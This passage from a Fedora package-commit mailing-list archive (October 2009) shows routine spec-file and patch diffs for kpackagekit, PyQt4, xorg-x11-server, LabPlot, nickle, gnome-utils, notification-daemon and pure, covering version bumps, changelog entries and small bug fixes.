  //         m_icon->show();
          KConfig config("KPackageKit");
          KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
!         const uint updateType = (uint) checkUpdateGroup.readEntry("autoUpdate", KpkEnum::AutoUpdateDefault);
          if (updateType == KpkEnum::None) {
              // update none
              notifyUpdates();


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Aug 2009 14:53:16 -0000	1.14
+++ .cvsignore	24 Oct 2009 00:37:51 -0000	1.15
@@ -1 +1 @@
-kpackagekit-0.5.0.tar.bz2
+kpackagekit-0.5.0.1.tar.bz2


Index: kpackagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/devel/kpackagekit.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- kpackagekit.spec	15 Sep 2009 14:50:25 -0000	1.45
+++ kpackagekit.spec	24 Oct 2009 00:37:51 -0000	1.46
@@ -1,21 +1,20 @@
 
-%define pk_version 0.5.2
+%define pk_version 0.5.3
 
 Name:	  	kpackagekit
-Version:	0.5.0
-Release:	0.1.20090915svn%{?dist}
+Version:	0.5.0.1
+Release:	1%{?dist}
 Summary:	KDE interface for PackageKit
 
 License:	GPLv2+
 Group:		Applications/System
 #Source0:	http://www.kde-apps.org/CONTENT/content-files/84745-kpackagekit-%{version}.tar.bz2
-Source0:	kpackagekit-0.5.0.tar.bz2
+Source0:	kpackagekit-0.5.0.1.tar.bz2
 URL:		http://www.kde-apps.org/content/show.php/KPackageKit?content=84745
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# upstream me, says the patch
-#Patch100: kpackagekit-InitialPreference.patch
-Patch102: kpackagekit-0.4.1-i18n.patch
+#Hacks to smash kpackagekit: daily/none default (#469375)
+Patch50: kpackagekit-0.5.0-defaults_hacks.patch
 
 BuildRequires:	cmake
 BuildRequires:  desktop-file-utils
@@ -34,8 +33,7 @@ KDE interface for PackageKit.
 %prep
 %setup -q -n %{name}-%{version}
 
-#patch100 -p0 -b .InitialPreference
-%patch102 -p1 -b .i18n
+%patch50  -p1 -b .defaults_hacks
 
 
 %build
@@ -79,6 +77,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.1-1
+- Official 0.5.0.1 release
+- Includes patch to fix (#469375) default/none issue
+
 * Tue Sep 15 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0-0.1.20090915svn
 - New git snapshot
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	15 Sep 2009 14:50:25 -0000	1.22
+++ sources	24 Oct 2009 00:37:51 -0000	1.23
@@ -1 +1 @@
-6eb244d6297a980d85aa580748444d6a  kpackagekit-0.5.0.tar.bz2
+5c4cd44083e6dcce59011bb83029eb3b  kpackagekit-0.5.0.1.tar.bz2


--- kpackagekit-0.4.1-i18n.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 24 00:41:08 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 00:41:08 +0000 (UTC)
Subject: rpms/PyQt4/devel .cvsignore, 1.14, 1.15 PyQt4.spec, 1.32,
	1.33 sources, 1.14, 1.15
Message-ID: <20091024004108.DD4AD11C01EA@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/PyQt4/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2656

Modified Files:
	.cvsignore PyQt4.spec sources 
Log Message:
* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.1-1
- PyQt4-4.6.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PyQt4/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	15 Oct 2009 13:49:01 -0000	1.14
+++ .cvsignore	24 Oct 2009 00:41:08 -0000	1.15
@@ -1 +1 @@
-PyQt-x11-gpl-4.6.1-snapshot-20091014.tar.gz
+PyQt-x11-gpl-4.6.1.tar.gz


Index: PyQt4.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyQt4/devel/PyQt4.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- PyQt4.spec	15 Oct 2009 13:49:01 -0000	1.32
+++ PyQt4.spec	24 Oct 2009 00:41:08 -0000	1.33
@@ -1,12 +1,10 @@
 
 # Fedora review: http://bugzilla.redhat.com/190189
 
-%define snap 20091014
-
 Summary: Python bindings for Qt4
 Name: 	 PyQt4
 Version: 4.6.1
-Release: 0.1.%{snap}%{?dist}
+Release: 1%{?dist}
 
 # GPLv2 exceptions(see GPL_EXCEPTIONS*.txt)
 License: GPLv3 or GPLv2 with exceptions
@@ -138,6 +136,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.1-1
+- PyQt4-4.6.1
+
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.1-0.1.20091014
 - PyQt4-4.6.1-snapshot-20091014 (#529192)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PyQt4/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	15 Oct 2009 13:49:01 -0000	1.14
+++ sources	24 Oct 2009 00:41:08 -0000	1.15
@@ -1 +1 @@
-8e4d1318b7860bdbee06e307cf705131  PyQt-x11-gpl-4.6.1-snapshot-20091014.tar.gz
+4e5b75486d2934a7fa5215b056e28761  PyQt-x11-gpl-4.6.1.tar.gz



From bskeggs at fedoraproject.org  Sat Oct 24 00:58:34 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Sat, 24 Oct 2009 00:58:34 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 xserver-1.7.0-exa-fix-mixed.patch, NONE, 
	1.1 xorg-x11-server.spec, 1.495, 1.496
Message-ID: <20091024005834.88FB711C01EA@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9389

Modified Files:
	xorg-x11-server.spec 
Added Files:
	xserver-1.7.0-exa-fix-mixed.patch 
Log Message:
* Sat Oct 24 2009 Ben Skeggs <bskegg at redhat.com> 1.7.0-5
- Fix unbalancing of Prepare/FinishAccess in EXA mixed pixmaps (rh#528005)



xserver-1.7.0-exa-fix-mixed.patch:
 exa_migration_mixed.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xserver-1.7.0-exa-fix-mixed.patch ---
>From 7efbe71629d31d79ab95cc1dae93f0fa742e9533 Mon Sep 17 00:00:00 2001
From: Ben Skeggs <bskeggs at redhat.com>
Date: Thu, 22 Oct 2009 11:31:22 +1000
Subject: [PATCH] EXA: fix mixed-pixmaps issue where we could do accel with pixmap mapped
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The problem occurs in the following situation:

1. Create Pixmap
2. Software fallback on pixmap: pExaPixmap->pDamage created
3. Accel to pixmap: driver pixmap created, exaPixmapIsOffscreen() now true
4. Software fallback on pixmap
4.1: PrepareAccess() from driver succeeds, so no DFS to system memory copy
4.2: Software rendering...
4.3: (pExaPixmap->pDamage && exaPixmapIsOffscreen()) is true, so we try
     to (incorrectly) UTS the data back to the driver pixmap, when we
     should just call the driver's FinishAccess() hook.
4.4: fail

The patch adds an additional check on pExaPixmap->offscreen, which should
(for the cases exaPixmapIsOffscreen() will return true) only be FALSE
when we haven't used PrepareAccess() on the pixmap.

Signed-off-by: Ben Skeggs <bskeggs at redhat.com>
Acked-By: Michel D?nzer <michel at daenzer.net>
---
 exa/exa_migration_mixed.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/exa/exa_migration_mixed.c b/exa/exa_migration_mixed.c
index f42c9c2..52b18b4 100644
--- a/exa/exa_migration_mixed.c
+++ b/exa/exa_migration_mixed.c
@@ -202,7 +202,8 @@ void exaFinishAccess_mixed(PixmapPtr pPixmap, int index)
 {
     ExaPixmapPriv(pPixmap);
 
-    if (pExaPixmap->pDamage && exaPixmapIsOffscreen(pPixmap)) {
+    if (pExaPixmap->pDamage && exaPixmapIsOffscreen(pPixmap) &&
+	!pExaPixmap->offscreen) {
 	DamageRegionProcessPending(&pPixmap->drawable);
 	exaMoveInPixmap_mixed(pPixmap);
     }
-- 
1.6.5.rc2



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.495
retrieving revision 1.496
diff -u -p -r1.495 -r1.496
--- xorg-x11-server.spec	16 Oct 2009 00:45:49 -0000	1.495
+++ xorg-x11-server.spec	24 Oct 2009 00:58:32 -0000	1.496
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.7.0
-Release:   4%{dist}
+Release:   5%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -76,6 +76,7 @@ Patch6045: xserver-1.7.0-randr-gamma-res
 
 Patch6046: xserver-1.7.0-exa-looping-forever-is-evil.patch
 Patch6047: xserver-1.7.0-glx-versioning.patch
+Patch6048: xserver-1.7.0-exa-fix-mixed.patch
 
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
@@ -504,6 +505,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Sat Oct 24 2009 Ben Skeggs <bskegg at redhat.com> 1.7.0-5
+- Fix unbalancing of Prepare/FinishAccess in EXA mixed pixmaps (rh#528005)
+
 * Fri Oct 16 2009 Dave Airlie <airlied at redhat.com> 1.7.0-4
 - update GLX for 1.4 version reporting
 



From kkofler at fedoraproject.org  Sat Oct 24 02:16:12 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat, 24 Oct 2009 02:16:12 +0000 (UTC)
Subject: rpms/LabPlot/F-12 LabPlot.spec,1.17,1.18
Message-ID: <20091024021613.4101F11C00EB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/LabPlot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7547/F-12

Modified Files:
	LabPlot.spec 
Log Message:
* Sat Oct 24 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-7
- drop ExcludeArch ppc64, OCaml is available for ppc64 these days


Index: LabPlot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/LabPlot/F-12/LabPlot.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- LabPlot.spec	22 Sep 2009 19:39:50 -0000	1.17
+++ LabPlot.spec	24 Oct 2009 02:16:08 -0000	1.18
@@ -1,6 +1,6 @@
 Name:              LabPlot
 Version:           1.6.0.2
-Release:           6%{?dist}
+Release:           7%{?dist}
 Summary:           Data Analysis and Visualization
 
 License:           GPLv2+
@@ -17,7 +17,7 @@ BuildRequires:     gsl-devel ImageMagick
 BuildRequires:     pstoedit libtool qt-qsa-devel gettext htmldoc audiofile-devel ocaml
 BuildRequires:     liborigin-devel qhull-devel
 
-ExcludeArch:       ppc64 sparc64 s390 s390x
+ExcludeArch:       sparc64 s390 s390x
 
 Requires:          electronics-menu
 
@@ -353,7 +353,10 @@ update-desktop-database &> /dev/null ||:
 
 
 %Changelog
-* Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.6.0.2-4
+* Sat Oct 24 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-7
+- drop ExcludeArch ppc64, OCaml is available for ppc64 these days
+
+* Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.6.0.2-6
 - ExcludeArch s390 s390x and sparc64 no ocaml
 
 * Sun Nov 16 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0.2-3



From kkofler at fedoraproject.org  Sat Oct 24 02:16:12 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat, 24 Oct 2009 02:16:12 +0000 (UTC)
Subject: rpms/LabPlot/devel LabPlot.spec,1.17,1.18
Message-ID: <20091024021613.3BA8811C00E6@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/LabPlot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7547/devel

Modified Files:
	LabPlot.spec 
Log Message:
* Sat Oct 24 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-7
- drop ExcludeArch ppc64, OCaml is available for ppc64 these days


Index: LabPlot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/LabPlot/devel/LabPlot.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- LabPlot.spec	22 Sep 2009 19:39:50 -0000	1.17
+++ LabPlot.spec	24 Oct 2009 02:16:09 -0000	1.18
@@ -1,6 +1,6 @@
 Name:              LabPlot
 Version:           1.6.0.2
-Release:           6%{?dist}
+Release:           7%{?dist}
 Summary:           Data Analysis and Visualization
 
 License:           GPLv2+
@@ -17,7 +17,7 @@ BuildRequires:     gsl-devel ImageMagick
 BuildRequires:     pstoedit libtool qt-qsa-devel gettext htmldoc audiofile-devel ocaml
 BuildRequires:     liborigin-devel qhull-devel
 
-ExcludeArch:       ppc64 sparc64 s390 s390x
+ExcludeArch:       sparc64 s390 s390x
 
 Requires:          electronics-menu
 
@@ -353,7 +353,10 @@ update-desktop-database &> /dev/null ||:
 
 
 %Changelog
-* Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.6.0.2-4
+* Sat Oct 24 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.6.0.2-7
+- drop ExcludeArch ppc64, OCaml is available for ppc64 these days
+
+* Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.6.0.2-6
 - ExcludeArch s390 s390x and sparc64 no ocaml
 
 * Sun Nov 16 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0.2-3



From salimma at fedoraproject.org  Sat Oct 24 02:16:45 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat, 24 Oct 2009 02:16:45 +0000 (UTC)
Subject: rpms/nickle/F-12 nickle.spec,1.9,1.10
Message-ID: <20091024021645.8C58311C00E6@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/nickle/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8097/F-12

Modified Files:
	nickle.spec 
Log Message:
* Fri Oct 23 2009 Michel Salim <salimma at fedoraproject.org> - 2.69-2
- Lower FORTIFY setting; level 2 does not work with gcc 4.4.2



Index: nickle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nickle/F-12/nickle.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- nickle.spec	18 Sep 2009 19:06:50 -0000	1.9
+++ nickle.spec	24 Oct 2009 02:16:45 -0000	1.10
@@ -1,6 +1,9 @@
+%global __global_cflags %(echo %{__global_cflags} | \
+	sed -e 's|FORTIFY_SOURCE=2|FORTIFY_SOURCE=1|' )
+
 Name:    nickle
 Version: 2.69
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: A programming language-based prototyping environment
 
 Group:   Development/Languages
@@ -77,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/nickle
 
 %changelog
+* Fri Oct 23 2009 Michel Salim <salimma at fedoraproject.org> - 2.69-2
+- Lower FORTIFY setting; level 2 does not work with gcc 4.4.2
+
 * Fri Sep 18 2009 Michel Salim <salimma at fedoraproject.org> - 2.69-1
 - Update to 2.69
 



From salimma at fedoraproject.org  Sat Oct 24 02:16:45 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat, 24 Oct 2009 02:16:45 +0000 (UTC)
Subject: rpms/nickle/devel nickle.spec,1.9,1.10
Message-ID: <20091024021645.C4B5F11C00EB@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/nickle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8097/devel

Modified Files:
	nickle.spec 
Log Message:
* Fri Oct 23 2009 Michel Salim <salimma at fedoraproject.org> - 2.69-2
- Lower FORTIFY setting; level 2 does not work with gcc 4.4.2



Index: nickle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nickle/devel/nickle.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- nickle.spec	18 Sep 2009 19:06:50 -0000	1.9
+++ nickle.spec	24 Oct 2009 02:16:45 -0000	1.10
@@ -1,6 +1,9 @@
+%global __global_cflags %(echo %{__global_cflags} | \
+	sed -e 's|FORTIFY_SOURCE=2|FORTIFY_SOURCE=1|' )
+
 Name:    nickle
 Version: 2.69
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: A programming language-based prototyping environment
 
 Group:   Development/Languages
@@ -77,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/nickle
 
 %changelog
+* Fri Oct 23 2009 Michel Salim <salimma at fedoraproject.org> - 2.69-2
+- Lower FORTIFY setting; level 2 does not work with gcc 4.4.2
+
 * Fri Sep 18 2009 Michel Salim <salimma at fedoraproject.org> - 2.69-1
 - Update to 2.69
 



From kkofler at fedoraproject.org  Sat Oct 24 02:19:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat, 24 Oct 2009 02:19:16 +0000 (UTC)
Subject: rpms/LabPlot/devel LabPlot.spec,1.18,1.19
Message-ID: <20091024021916.7855211C00E6@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/LabPlot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8884/devel

Modified Files:
	LabPlot.spec 
Log Message:
Add missing changelog entries for the mass rebuilds.


Index: LabPlot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/LabPlot/devel/LabPlot.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- LabPlot.spec	24 Oct 2009 02:16:09 -0000	1.18
+++ LabPlot.spec	24 Oct 2009 02:19:16 -0000	1.19
@@ -359,6 +359,12 @@ update-desktop-database &> /dev/null ||:
 * Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.6.0.2-6
 - ExcludeArch s390 s390x and sparc64 no ocaml
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.0.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.0.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Nov 16 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0.2-3
 - handle libLabPlotnetCDF.so* on F-8 and F-9
 



From kkofler at fedoraproject.org  Sat Oct 24 02:19:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat, 24 Oct 2009 02:19:16 +0000 (UTC)
Subject: rpms/LabPlot/F-12 LabPlot.spec,1.18,1.19
Message-ID: <20091024021916.50AD911C00E6@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/LabPlot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8884/F-12

Modified Files:
	LabPlot.spec 
Log Message:
Add missing changelog entries for the mass rebuilds.


Index: LabPlot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/LabPlot/F-12/LabPlot.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- LabPlot.spec	24 Oct 2009 02:16:08 -0000	1.18
+++ LabPlot.spec	24 Oct 2009 02:19:16 -0000	1.19
@@ -359,6 +359,12 @@ update-desktop-database &> /dev/null ||:
 * Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.6.0.2-6
 - ExcludeArch s390 s390x and sparc64 no ocaml
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.0.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.0.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sun Nov 16 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0.2-3
 - handle libLabPlotnetCDF.so* on F-8 and F-9
 



From mclasen at fedoraproject.org  Sat Oct 24 02:26:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 24 Oct 2009 02:26:19 +0000 (UTC)
Subject: rpms/gnome-utils/F-12 .cvsignore, 1.77, 1.78 gnome-utils.spec, 1.204,
	1.205 sources, 1.81, 1.82
Message-ID: <20091024022619.EEA7511C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10052

Modified Files:
	.cvsignore gnome-utils.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-utils/F-12/.cvsignore,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- .cvsignore	22 Sep 2009 02:52:01 -0000	1.77
+++ .cvsignore	24 Oct 2009 02:26:19 -0000	1.78
@@ -1 +1 @@
-gnome-utils-2.28.0.tar.bz2
+gnome-utils-2.28.1.tar.bz2


Index: gnome-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-utils/F-12/gnome-utils.spec,v
retrieving revision 1.204
retrieving revision 1.205
diff -u -p -r1.204 -r1.205
--- gnome-utils.spec	6 Oct 2009 01:04:50 -0000	1.204
+++ gnome-utils.spec	24 Oct 2009 02:26:19 -0000	1.205
@@ -8,8 +8,8 @@
 %define gnome_panel_version 2.9.4
 
 Name:           gnome-utils
-Version:        2.28.0
-Release:        2%{?dist}
+Version:        2.28.1
+Release:        1%{?dist}
 Epoch: 		1
 Summary:        GNOME utility programs
 
@@ -19,9 +19,6 @@ URL: 	        http://www.gnome.org
 Source0:        http://download.gnome.org/sources/gnome-utils/2.28/gnome-utils-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# http://bugzilla.gnome.org/show_bug.cgi?id=592661
-Patch0:		dupe-id.patch
-
 BuildRequires:  gnome-doc-utils >= %{gnome_doc_utils_version}
 BuildRequires: 	glib2-devel >= %{glib2_version}
 BuildRequires:  gtk2-devel >= %{gtk2_version}
@@ -87,7 +84,6 @@ view various system log files.
 
 %prep
 %setup -q
-%patch0 -p1 -b .dupe-id
 
 # Hide from menus
 pushd gsearchtool
@@ -316,6 +312,9 @@ fi
 %{_mandir}/man1/gnome-system-log.1.gz
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.1-1
+- Update to 2.28.1
+
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-2
 - Move the usermode dep to the gnome-system-log package (#527295)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-utils/F-12/sources,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- sources	22 Sep 2009 02:52:01 -0000	1.81
+++ sources	24 Oct 2009 02:26:19 -0000	1.82
@@ -1 +1 @@
-156e38fdf348bf2db4fcb7b84ddcc2aa  gnome-utils-2.28.0.tar.bz2
+3c811993191ae0bbf8666405a504288a  gnome-utils-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Sat Oct 24 02:52:15 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 24 Oct 2009 02:52:15 +0000 (UTC)
Subject: rpms/notification-daemon/F-12 notification-daemon.spec, 1.36,
	1.37 screensaver-check.patch, 1.1, 1.2
Message-ID: <20091024025215.4F6B711C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/notification-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15497

Modified Files:
	notification-daemon.spec screensaver-check.patch 
Log Message:
Don't abort if gnome-screensaver is not running



Index: notification-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/notification-daemon/F-12/notification-daemon.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- notification-daemon.spec	16 Oct 2009 01:35:24 -0000	1.36
+++ notification-daemon.spec	24 Oct 2009 02:52:13 -0000	1.37
@@ -7,7 +7,7 @@
 Summary: Desktop Notification Daemon
 Name: notification-daemon
 Version: 0.4.1
-Release: 0.20090923.3%{?dist}
+Release: 0.20090923.4%{?dist}
 URL: http://www.galago-project.org/specs/notification/
 License: GPLv2+
 Group: System Environment/Libraries
@@ -126,6 +126,9 @@ gconftool-2 --makefile-install-rule \
 
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 0.4.1-1.20090923.4
+- Don't abort if gnome-screensaver is not running (#529592)
+
 * Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.com> - 0.4.1-1.20090923.3
 - Fix issues with the multi-monitor support
 - Make screensaver check work

screensaver-check.patch:
 daemon.c |   55 ++++++++++++++++++++++++++++++-------------------------
 1 file changed, 30 insertions(+), 25 deletions(-)

Index: screensaver-check.patch
===================================================================
RCS file: /cvs/pkgs/rpms/notification-daemon/F-12/screensaver-check.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- screensaver-check.patch	16 Oct 2009 01:35:24 -0000	1.1
+++ screensaver-check.patch	24 Oct 2009 02:52:14 -0000	1.2
@@ -38,7 +38,7 @@
 +	connection = dbus_g_bus_get(DBUS_BUS_SESSION, &error);
 +	if (connection == NULL)
 +	{
-+		g_error("Failed to get dbus connection: %s", error->message);
++		g_warning ("Failed to get dbus connection: %s", error->message);
 +		g_error_free(error);
 +		goto out;
 +
@@ -53,10 +53,10 @@
 +			       G_TYPE_BOOLEAN, &active,
 +			       G_TYPE_INVALID))
 +	{
-+		g_error("Failed to call gnome-screensaver: %s", error->message);
++		g_warning("Failed to call gnome-screensaver: %s", error->message);
 +		g_error_free(error);
 +	}
-+
++       g_object_unref (gs_proxy);
 +out:
  
 -	if (temp_data != NULL)



From salimma at fedoraproject.org  Sat Oct 24 03:02:17 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat, 24 Oct 2009 03:02:17 +0000 (UTC)
Subject: rpms/pure/devel .cvsignore, 1.2, 1.3 pure.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091024030217.4567D11C00E6@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/pure/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17236

Modified Files:
	.cvsignore pure.spec sources 
Log Message:
* Fri Oct 23 2009 Michel Salim <salimma at fedoraproject.org> - 0.36-1
- Update to 0.36



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pure/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	30 Sep 2009 23:07:25 -0000	1.2
+++ .cvsignore	24 Oct 2009 03:02:16 -0000	1.3
@@ -1 +1 @@
-pure-0.35.tar.gz
+pure-0.36.tar.gz


Index: pure.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pure/devel/pure.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pure.spec	30 Sep 2009 23:07:26 -0000	1.1
+++ pure.spec	24 Oct 2009 03:02:16 -0000	1.2
@@ -10,7 +10,7 @@
 %endif
 
 Name:           pure
-Version:        0.35
+Version:        0.36
 Release:        1%{?dist}
 Summary:        A term-rewriting functional programming language
 
@@ -144,6 +144,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Michel Salim <salimma at fedoraproject.org> - 0.36-1
+- Update to 0.36
+
 * Thu Sep 24 2009 Michel Salim <salimma at fedoraproject.org> - 0.35-1
 - Update to 0.35
 - Reenable PPC tests


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pure/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	30 Sep 2009 23:07:26 -0000	1.2
+++ sources	24 Oct 2009 03:02:17 -0000	1.3
@@ -1 +1 @@
-e04f66c6d874b36751b495b1911d6437  pure-0.35.tar.gz
+57a78e6a16d25999397d4227585fe14a  pure-0.36.tar.gz



From salimma at fedoraproject.org  Sat Oct 24 03:06:58 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat, 24 Oct 2009 03:06:58 +0000 (UTC)
Subject: rpms/pure/devel pure.spec,1.2,1.3
Message-ID: <20091024030658.CE33F11C00E6@cvs1.fedora.phx.redhat.com>

Author: salimma

